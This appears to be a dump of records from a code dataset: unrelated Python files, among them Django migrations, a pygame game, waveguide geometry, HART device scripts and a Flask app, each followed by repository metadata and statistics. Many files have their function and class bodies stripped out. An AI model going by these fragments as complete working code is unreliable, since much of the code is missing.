# coding=utf-8 # Copyright Huawei Noah's Ark Lab. from noahnmt.attentions import dot_attention from noahnmt.attentions import dot_prod_attention from noahnmt.attentions import sum_attention
31.666667
49
0.847368
4180dd4796db00aa27180113a9c270adce7f7aee
8,390
py
Python
viz/uncertainty.py
WadhwaniAI/covid-modelling
db9f89bfbec392ad4de6b4583cfab7c3d823c1c9
[ "MIT" ]
3
2021-06-23T10:27:11.000Z
2022-02-09T07:50:42.000Z
viz/uncertainty.py
WadhwaniAI/covid-modelling
db9f89bfbec392ad4de6b4583cfab7c3d823c1c9
[ "MIT" ]
3
2021-06-23T09:36:29.000Z
2022-01-13T03:38:16.000Z
viz/uncertainty.py
WadhwaniAI/covid-modelling
db9f89bfbec392ad4de6b4583cfab7c3d823c1c9
[ "MIT" ]
null
null
null
import datetime from copy import copy from datetime import timedelta import numpy as np import matplotlib.pyplot as plt import pandas as pd import seaborn as sns from adjustText import adjust_text from matplotlib.lines import Line2D from matplotlib.patches import Patch from utils.generic.enums import Columns from viz....
40.728155
104
0.586651
418199c796f2780deea7cf4549a397f4a304c2c1
3,299
py
Python
bookqlub_api/tests/test_user_schema.py
danifujii/bookqlub
c6543df63ccc4f403a86121224b26b12d587553b
[ "MIT" ]
null
null
null
bookqlub_api/tests/test_user_schema.py
danifujii/bookqlub
c6543df63ccc4f403a86121224b26b12d587553b
[ "MIT" ]
26
2020-06-27T19:16:13.000Z
2022-02-27T05:48:21.000Z
bookqlub_api/tests/test_user_schema.py
danifujii/bookqlub
c6543df63ccc4f403a86121224b26b12d587553b
[ "MIT" ]
null
null
null
import bcrypt import jwt from bookqlub_api import utils from bookqlub_api.schema import models from tests import base_test
36.252747
92
0.61746
4182ec15967a7a53ca35c791ffcf894022ac1a7d
618
py
Python
maya/app/renderSetup/views/lightEditor/utils.py
arjun-namdeo/py_stubs
605bb167e239978f5417f3f1fc1f5c12e2a243cc
[ "MIT" ]
null
null
null
maya/app/renderSetup/views/lightEditor/utils.py
arjun-namdeo/py_stubs
605bb167e239978f5417f3f1fc1f5c12e2a243cc
[ "MIT" ]
null
null
null
maya/app/renderSetup/views/lightEditor/utils.py
arjun-namdeo/py_stubs
605bb167e239978f5417f3f1fc1f5c12e2a243cc
[ "MIT" ]
null
null
null
def resolveIconFile(filename): """ Resolve filenames using the XBMLANGPATH icon searchpath or look through the embedded Qt resources (if the path starts with a ':'). :Parameters: filename (string) filename path or resource path (uses embedded Qt resources if star...
20.6
99
0.65534
41846f748394eaaab9d178f6abb98d1845018fdd
395
py
Python
app/core/migrations/0003_auto_20201129_1357.py
bondeveloper/maischool
16bf2afe99d26caa067b7912e88839639cf2191e
[ "MIT" ]
null
null
null
app/core/migrations/0003_auto_20201129_1357.py
bondeveloper/maischool
16bf2afe99d26caa067b7912e88839639cf2191e
[ "MIT" ]
null
null
null
app/core/migrations/0003_auto_20201129_1357.py
bondeveloper/maischool
16bf2afe99d26caa067b7912e88839639cf2191e
[ "MIT" ]
null
null
null
# Generated by Django 3.1.3 on 2020-11-29 13:57 from django.db import migrations, models
20.789474
60
0.602532
41850d2f20a25e9d6a0751208d08a9bcdd244bde
3,429
py
Python
knowledge/migrations/0001_initial.py
darth-dodo/hustlers-den
74c375da1b82c6ad4d4f2b763bc8e47a3f73417d
[ "MIT" ]
3
2019-07-27T08:42:27.000Z
2020-04-02T14:26:35.000Z
knowledge/migrations/0001_initial.py
darth-dodo/hustlers-den
74c375da1b82c6ad4d4f2b763bc8e47a3f73417d
[ "MIT" ]
34
2019-08-14T19:05:56.000Z
2022-02-10T10:54:45.000Z
knowledge/migrations/0001_initial.py
darth-dodo/hustlers-den
74c375da1b82c6ad4d4f2b763bc8e47a3f73417d
[ "MIT" ]
null
null
null
# Generated by Django 2.0.6 on 2018-06-10 06:46 import django.db.models.deletion from django.db import migrations, models
36.870968
83
0.449694
418670d002d663322a8f470f2873865170a66103
1,908
py
Python
ScoringEngine/ScoringEngine/engine/options/__init__.py
norserage/scoring
b3f5c199b64bb3a78342924349fe6a713257b1a0
[ "MIT" ]
1
2020-07-29T16:12:02.000Z
2020-07-29T16:12:02.000Z
ScoringEngine/ScoringEngine/engine/options/__init__.py
norserage/scoring
b3f5c199b64bb3a78342924349fe6a713257b1a0
[ "MIT" ]
null
null
null
ScoringEngine/ScoringEngine/engine/options/__init__.py
norserage/scoring
b3f5c199b64bb3a78342924349fe6a713257b1a0
[ "MIT" ]
null
null
null
""" Copyright 2016 Brandon Warner Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software...
25.783784
94
0.648847
4186a83376db6719d09806172772089d522d0c98
12,828
py
Python
Game-TestHuman.py
brian1985/rl-wall-avoider
c6c5d87f3693bfd27f39a4015f361773bf219cd3
[ "MIT" ]
null
null
null
Game-TestHuman.py
brian1985/rl-wall-avoider
c6c5d87f3693bfd27f39a4015f361773bf219cd3
[ "MIT" ]
null
null
null
Game-TestHuman.py
brian1985/rl-wall-avoider
c6c5d87f3693bfd27f39a4015f361773bf219cd3
[ "MIT" ]
null
null
null
from random import randint, choice from collections import deque from time import sleep import pygame, time import numpy as np """ Code to use arduino as input import serial import re board = serial.Serial("/dev/ttyACM0") data = board.readline() data = data.decode() data = re.sub("[^0-9|]", "", data) xyz = data.spl...
41.514563
116
0.528687
4186fcc1ce90afaf587b5f5bd0c8099ee8a70d32
26,536
py
Python
backend/models_test.py
OmarThinks/PIM-API
b7259dd64b397844b26d5e190df5a8701be0ff85
[ "MIT" ]
null
null
null
backend/models_test.py
OmarThinks/PIM-API
b7259dd64b397844b26d5e190df5a8701be0ff85
[ "MIT" ]
null
null
null
backend/models_test.py
OmarThinks/PIM-API
b7259dd64b397844b26d5e190df5a8701be0ff85
[ "MIT" ]
null
null
null
import json import unittest from models import (NotReceived, validate_key, MyModel, Product,Category,ProductCategory, populate_tables, db_drop_and_create_all,get_dict,) #from app import create_app from __init__ import session unittest.TestLoader.sortTestMethodsUsing = None # Mak...
28.021119
77
0.690496
4188e0bdb0246bed574781d83fd5dfac338b69bd
218
py
Python
compiler/python_compiler/engines/py3_8/Compiler.py
unknowncoder05/app-architect
083278e1386562797614f320649ca85d1c44e009
[ "MIT" ]
3
2021-08-12T12:59:27.000Z
2021-08-29T15:30:49.000Z
compiler/python_compiler/engines/py3_8/Compiler.py
unknowncoder05/app-architect
083278e1386562797614f320649ca85d1c44e009
[ "MIT" ]
null
null
null
compiler/python_compiler/engines/py3_8/Compiler.py
unknowncoder05/app-architect
083278e1386562797614f320649ca85d1c44e009
[ "MIT" ]
null
null
null
from utils.flags import * from .get_fragment_class import get_fragment_class
27.25
63
0.756881
41894b431af0af154e50d2e462dae772eb97b482
1,349
py
Python
Programs/day_12.py
Yunram/python_training
be3fbab05511716757ecdacef827a16329a85e90
[ "Apache-2.0" ]
null
null
null
Programs/day_12.py
Yunram/python_training
be3fbab05511716757ecdacef827a16329a85e90
[ "Apache-2.0" ]
null
null
null
Programs/day_12.py
Yunram/python_training
be3fbab05511716757ecdacef827a16329a85e90
[ "Apache-2.0" ]
null
null
null
import random play_game()
29.326087
77
0.630096
418a73ccd36a29573b20675d0e5a6f1331e0f75a
1,986
py
Python
jenskipper/cli/patch.py
flupke/jenskipper
bb3de3745142a5b1bf3df40409711ae74fdb07ea
[ "Apache-2.0" ]
4
2016-04-30T12:43:01.000Z
2016-12-02T17:42:47.000Z
jenskipper/cli/patch.py
Stupeflix/jenskipper
bb3de3745142a5b1bf3df40409711ae74fdb07ea
[ "Apache-2.0" ]
null
null
null
jenskipper/cli/patch.py
Stupeflix/jenskipper
bb3de3745142a5b1bf3df40409711ae74fdb07ea
[ "Apache-2.0" ]
null
null
null
import subprocess import click from .. import utils from .. import exceptions from .. import jenkins_api from . import decorators from . import diff
35.464286
78
0.624371
418c971816ed357865734aae67a50b1c996358f8
592
py
Python
tests/test_planning_graph_planner.py
debbynirwan/planning-graph
2eb376fc29973e92d123adfd15640935214d3b40
[ "Apache-2.0" ]
5
2021-03-05T14:42:40.000Z
2022-02-02T20:23:33.000Z
tests/test_planning_graph_planner.py
debbynirwan/planning-graph
2eb376fc29973e92d123adfd15640935214d3b40
[ "Apache-2.0" ]
null
null
null
tests/test_planning_graph_planner.py
debbynirwan/planning-graph
2eb376fc29973e92d123adfd15640935214d3b40
[ "Apache-2.0" ]
2
2021-08-23T12:21:48.000Z
2021-12-27T16:27:44.000Z
from planning_graph.planning_graph_planner import GraphPlanner from planning_graph.planning_graph import PlanningGraph
32.888889
62
0.711149
418dbdc2ab0a6e83c7236c8b810a43bb21ee2351
2,783
py
Python
src/mykrobe/stats/stats.py
Phelimb/mykrobe-atlas-cli
866471d0c2d7030698d37f5c90fd232cafc261d5
[ "MIT" ]
1
2020-01-10T06:43:22.000Z
2020-01-10T06:43:22.000Z
src/mykrobe/stats/stats.py
Phelimb/mykrobe-atlas-cli
866471d0c2d7030698d37f5c90fd232cafc261d5
[ "MIT" ]
null
null
null
src/mykrobe/stats/stats.py
Phelimb/mykrobe-atlas-cli
866471d0c2d7030698d37f5c90fd232cafc261d5
[ "MIT" ]
null
null
null
from math import exp from math import factorial from math import log import logging logger = logging.getLogger(__name__)
33.939024
106
0.684513
418fb24b012a503b2e7384627bb584b231c134f7
6,660
py
Python
keras/utils/losses_utils.py
PJmouraocs/keras
7a39b6c62d43c25472b2c2476bd2a8983ae4f682
[ "MIT" ]
259
2016-02-09T09:06:29.000Z
2021-07-29T05:27:40.000Z
keras/utils/losses_utils.py
PJmouraocs/keras
7a39b6c62d43c25472b2c2476bd2a8983ae4f682
[ "MIT" ]
50
2016-02-24T14:46:57.000Z
2020-01-20T07:34:19.000Z
keras/utils/losses_utils.py
PJmouraocs/keras
7a39b6c62d43c25472b2c2476bd2a8983ae4f682
[ "MIT" ]
94
2016-02-17T20:59:27.000Z
2021-04-19T08:18:16.000Z
"""Utilities related to losses.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from .. import backend as K def squeeze_or_expand_dimensions(y_pred, y_true=None, sample_weight=None): """Squeeze or expand last dimension if needed...
37.206704
84
0.633333
418fce67b285434917158142db550cc3c4912d7c
671
py
Python
tests/test_utils.py
kelvinxu/blocks
8081c0f00926e86d20731eb24cf8a61cab3a7529
[ "BSD-3-Clause" ]
1
2015-10-19T07:54:34.000Z
2015-10-19T07:54:34.000Z
tests/test_utils.py
kelvinxu/blocks
8081c0f00926e86d20731eb24cf8a61cab3a7529
[ "BSD-3-Clause" ]
null
null
null
tests/test_utils.py
kelvinxu/blocks
8081c0f00926e86d20731eb24cf8a61cab3a7529
[ "BSD-3-Clause" ]
null
null
null
from numpy.testing import assert_raises from theano import tensor from blocks.utils import check_theano_variable, unpack
29.173913
54
0.657228
4191ed02b99fe80f0d4118fb2e70bad9e2f6b771
18,531
py
Python
zeropdk/layout/waveguide_rounding.py
lightwave-lab/zeropdk
cc49eb1008c449185cf9dcdbb283ba086ebd8de0
[ "MIT" ]
17
2019-08-22T15:55:50.000Z
2022-02-02T20:52:00.000Z
zeropdk/layout/waveguide_rounding.py
lightwave-lab/zeropdk
cc49eb1008c449185cf9dcdbb283ba086ebd8de0
[ "MIT" ]
1
2020-09-29T00:43:38.000Z
2020-10-27T07:15:01.000Z
zeropdk/layout/waveguide_rounding.py
lightwave-lab/zeropdk
cc49eb1008c449185cf9dcdbb283ba086ebd8de0
[ "MIT" ]
3
2019-09-04T07:48:35.000Z
2021-06-16T09:39:42.000Z
""" Straight waveguide rounding algorithms""" from functools import lru_cache from math import atan2, tan, inf import numpy as np import klayout.db as kdb from zeropdk.layout.geometry import rotate, fix_angle, cross_prod from zeropdk.layout.algorithms.sampling import sample_function from zeropdk.layout.waveguides impor...
29.744783
128
0.585667
419209cfa7ba87d275b63ba33aa6f02f592a320e
3,616
py
Python
PyHART_tutorial/05_device_specific_commands_for_DDS.py
wdehoog/PyHART
abe410e45d66710f65d5499165aab066c9ad9fa3
[ "MIT" ]
null
null
null
PyHART_tutorial/05_device_specific_commands_for_DDS.py
wdehoog/PyHART
abe410e45d66710f65d5499165aab066c9ad9fa3
[ "MIT" ]
null
null
null
PyHART_tutorial/05_device_specific_commands_for_DDS.py
wdehoog/PyHART
abe410e45d66710f65d5499165aab066c9ad9fa3
[ "MIT" ]
null
null
null
# # In this module is shown how to send a command to an HART device. # Encode/decode data, logging and manage responses codes. # ''' ------------------------------------------------------------------------------- SAME CODE OF EXAMPLE 01 - IGNORE THIS SECTION This is included to test the example -----------...
29.16129
97
0.555586
4192d1cec463e5f4665e763436ee29fbd56e053f
9,315
py
Python
productporter/product/views.py
kamidox/weixin_producthunt
24269da93e75374ee481b1b78257b18abda4d0c7
[ "BSD-3-Clause" ]
10
2015-01-07T06:01:13.000Z
2021-02-14T09:11:10.000Z
productporter/product/views.py
kamidox/weixin_producthunt
24269da93e75374ee481b1b78257b18abda4d0c7
[ "BSD-3-Clause" ]
3
2015-01-01T09:56:04.000Z
2015-01-06T01:34:44.000Z
productporter/product/views.py
kamidox/weixin_producthunt
24269da93e75374ee481b1b78257b18abda4d0c7
[ "BSD-3-Clause" ]
5
2015-01-01T10:31:50.000Z
2018-03-09T05:22:16.000Z
#!/bin/env python # -*- coding: utf-8 -*- """ productporter.product.views ~~~~~~~~~~~~~~~~~~~~~~~~~ product blueprint :copyright: (c) 2014 by the ProductPorter Team. :license: BSD, see LICENSE for more details. """ import datetime import json from flask import Blueprint, request, current_app, flas...
32.231834
95
0.615137
41937960edb49006b8dce4b16d90c212ae69d8f7
672
py
Python
tests/wasp1/AllAnswerSets/choice_28.test.py
bernardocuteri/wasp
05c8f961776dbdbf7afbf905ee00fc262eba51ad
[ "Apache-2.0" ]
19
2015-12-03T08:53:45.000Z
2022-03-31T02:09:43.000Z
tests/wasp1/AllAnswerSets/choice_28.test.py
bernardocuteri/wasp
05c8f961776dbdbf7afbf905ee00fc262eba51ad
[ "Apache-2.0" ]
80
2017-11-25T07:57:32.000Z
2018-06-10T19:03:30.000Z
tests/wasp1/AllAnswerSets/choice_28.test.py
bernardocuteri/wasp
05c8f961776dbdbf7afbf905ee00fc262eba51ad
[ "Apache-2.0" ]
6
2015-01-15T07:51:48.000Z
2020-06-18T14:47:48.000Z
input = """ % Similar to choice.12. % Triggers a bug if we have positive possibly true atoms and no final % totalised satisfied check for rules and constraints (nor anything % equivalent). % Using positive PTs, a, b and c are never PTs. c :- a,b. a :- c, not b. b :- c, not a. % Both d and e are positive PTs. % If we...
24
75
0.64881
41938ce4b42c56cae2f2acd965aaf210dc6bfc5f
415
py
Python
origins/migrations/0055_alter_activenomen_options.py
dennereed/paleocore
d6da6c39cde96050ee4b9e7213ec1200530cbeee
[ "MIT" ]
1
2021-02-05T19:50:13.000Z
2021-02-05T19:50:13.000Z
origins/migrations/0055_alter_activenomen_options.py
dennereed/paleocore
d6da6c39cde96050ee4b9e7213ec1200530cbeee
[ "MIT" ]
59
2020-06-17T22:21:51.000Z
2022-02-10T05:00:01.000Z
origins/migrations/0055_alter_activenomen_options.py
dennereed/paleocore
d6da6c39cde96050ee4b9e7213ec1200530cbeee
[ "MIT" ]
2
2020-07-01T14:11:09.000Z
2020-08-10T17:27:26.000Z
# Generated by Django 3.2.5 on 2021-07-29 21:01 from django.db import migrations
23.055556
115
0.614458
419429d46af11923cde1d968263d403240c3dfee
2,241
py
Python
clintk/cat2vec/feature_selection.py
DITEP/db-cleansing
9a2360d45bc250b9b1ec73ba7efc2d14b3250c74
[ "MIT" ]
5
2019-04-19T05:45:20.000Z
2021-11-16T13:22:07.000Z
clintk/cat2vec/feature_selection.py
DITEP/db-cleansing
9a2360d45bc250b9b1ec73ba7efc2d14b3250c74
[ "MIT" ]
null
null
null
clintk/cat2vec/feature_selection.py
DITEP/db-cleansing
9a2360d45bc250b9b1ec73ba7efc2d14b3250c74
[ "MIT" ]
null
null
null
""" selects parameters with L1 logistic regression """ import pandas as pd from sklearn.base import BaseEstimator
29.486842
77
0.604641
419618fdd8ed14916e411a16d95f8129f3073e40
163
py
Python
src/controllers/__init__.py
dennismalmgren/marl
baa846dc4144cf6f53e51d8cf1e2fcf5800c9f95
[ "Apache-2.0" ]
null
null
null
src/controllers/__init__.py
dennismalmgren/marl
baa846dc4144cf6f53e51d8cf1e2fcf5800c9f95
[ "Apache-2.0" ]
null
null
null
src/controllers/__init__.py
dennismalmgren/marl
baa846dc4144cf6f53e51d8cf1e2fcf5800c9f95
[ "Apache-2.0" ]
null
null
null
REGISTRY = {} from .basic_controller import BasicMAC from .distri_controller import DistriMAC REGISTRY["basic_mac"] = BasicMAC REGISTRY["distri_mac"] = DistriMAC
23.285714
40
0.797546
4197fe5fe8d16fcca6d82bcf73ee4d6614030b79
3,407
py
Python
src/onevision/nn/layer/padding.py
phlong3105/onevision
90552b64df7213e7fbe23c80ffd8a89583289433
[ "MIT" ]
2
2022-03-28T09:46:38.000Z
2022-03-28T14:12:32.000Z
src/onevision/nn/layer/padding.py
phlong3105/onevision
90552b64df7213e7fbe23c80ffd8a89583289433
[ "MIT" ]
null
null
null
src/onevision/nn/layer/padding.py
phlong3105/onevision
90552b64df7213e7fbe23c80ffd8a89583289433
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """Padding Layers. """ from __future__ import annotations import math from typing import Union import torch.nn.functional as F from torch import nn from torch import Tensor from onevision.factory import PADDING_LAYERS from onevision.type import Int2T __all__ = [ "...
29.885965
85
0.606692
419b7fd6852c60efa1fd82faf32167dd58882039
236
py
Python
demo/use_pickle.py
1987539447/start-python
06ee5eb30e7395cd8432e8e33d7209fa855f4ad9
[ "Apache-2.0" ]
null
null
null
demo/use_pickle.py
1987539447/start-python
06ee5eb30e7395cd8432e8e33d7209fa855f4ad9
[ "Apache-2.0" ]
null
null
null
demo/use_pickle.py
1987539447/start-python
06ee5eb30e7395cd8432e8e33d7209fa855f4ad9
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # FileName:use_pickle.py # -*- coding: utf-8 -*- """ pickle""" import pickle bob = dict(name='Bob', age=20, score=88) data = pickle.dumps(bob) print(data) re_bob = pickle.loads(data) print(re_bob)
11.8
40
0.661017
419d836e21b88898e0497e1625d6eddb5fed1199
5,349
py
Python
pycfmodel/model/cf_model.py
donatoaz/pycfmodel
1586e290b67d2347493dd4a77d2b0c8ee6c0936b
[ "Apache-2.0" ]
null
null
null
pycfmodel/model/cf_model.py
donatoaz/pycfmodel
1586e290b67d2347493dd4a77d2b0c8ee6c0936b
[ "Apache-2.0" ]
null
null
null
pycfmodel/model/cf_model.py
donatoaz/pycfmodel
1586e290b67d2347493dd4a77d2b0c8ee6c0936b
[ "Apache-2.0" ]
null
null
null
from datetime import date from typing import Any, ClassVar, Collection, Dict, List, Optional, Type, Union from pycfmodel.action_expander import expand_actions from pycfmodel.constants import AWS_NOVALUE from pycfmodel.model.base import CustomModel from pycfmodel.model.parameter import Parameter from pycfmodel.model.re...
39.043796
125
0.665919